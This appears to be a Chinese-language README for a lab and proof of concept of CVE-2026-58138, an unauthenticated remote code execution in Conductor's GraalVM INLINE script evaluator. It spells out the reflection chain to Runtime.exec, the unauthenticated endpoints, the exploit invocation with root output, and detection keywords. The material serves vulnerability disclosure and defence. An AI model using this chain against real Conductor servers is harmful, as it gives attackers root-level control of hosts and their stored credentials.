CVE-2026-58138 — Conductor (3.21.21..<3.30.2) 未授权RCE,通过INLINE GraalVM评估器 (HostAccess.ALL)。包含实验环境与PoC,经端到端验证(root权限)。
| CVE 编号 | CVE-2026-58138 |
| 公告 | vulncheck — Orkes Conductor 未认证 RCE via GraalVM 脚本评估器 |
| 影响版本 | Conductor 3.21.21 … 至 3.30.2 |
| 修复版本 | 3.30.2(提交 87a7d96、c691e35) |
| 漏洞分类 | CWE-94(代码注入)—— GraalVM 多语言沙箱未强制启用 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证 | 无(社区 API 默认无认证) |
| 状态 | 已确认 — 已在 conductoross/conductor:3.22.3 上以 root 用户复现 |
版本说明(请阅读)。 受影响范围内的评估器配置存在差异: 至约
3.29.x版本(本实验室使用3.22.3)使用简单的allowHostAccess(HostAccess.ALL)构建上下文 —— 即 CVE 描述的未沙箱配置,也是此 PoC 直接利用的配置。3.30.0/3.30.1系列添加了部分denyAccess(...)黑名单(反射被阻止);完整修复(allowHostClassLoading(false)+ 引擎加固)仅在3.30.2中落地。本 PoC 针对简单的HostAccess.ALL配置,不声称能绕过3.30.1的黑名单。
core/.../events/ScriptEvaluator.java(≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // 完全主机互操作 -> 无沙箱
.build();
HostAccess.ALL 允许脚本调用 Java 主机对象的任何方法/字段。INLINE 任务将其输入绑定为 $(一个真实的 Java 对象),因此脚本可以跳转:$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...)。Python 评估器与之等效(Context.newBuilder("python").allowAllAccess(true))。
INLINE 任务携带恶意 expression(POST /api/metadata/workflow,无需认证)。POST /api/workflow/{name},无需认证)。Runtime.exec 执行命令,PoC 返回其 stdout 作为任务结果。docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3(受影响范围内)
# 等待约 60 秒让一体化服务器启动
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
观察结果:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) 是 Conductor 进程的用户;输出是实时的 id/uname 状态——真实的执行结果,并非回显。exploit.py 仅使用 Python 标准库。
任何能够访问 Conductor API 的人都可以在编排器主机上执行任意操作系统命令(此处为 root 用户)—— 工作流引擎、其持久化/队列、以及该工作流及其存储凭据所触及的全部系统均遭完全攻陷。
标记工作流定义中其 INLINE/LAMBDA/DO_WHILE/SWITCH 任务的 expression 字符串包含 getClass、forName、Runtime、exec、ProcessBuilder 或 java. 反射相关词汇;以及 Conductor 进程生成 shell 的行为。
参见 ANALYSIS.md 了解反射链、各版本评估器配置及补丁详情。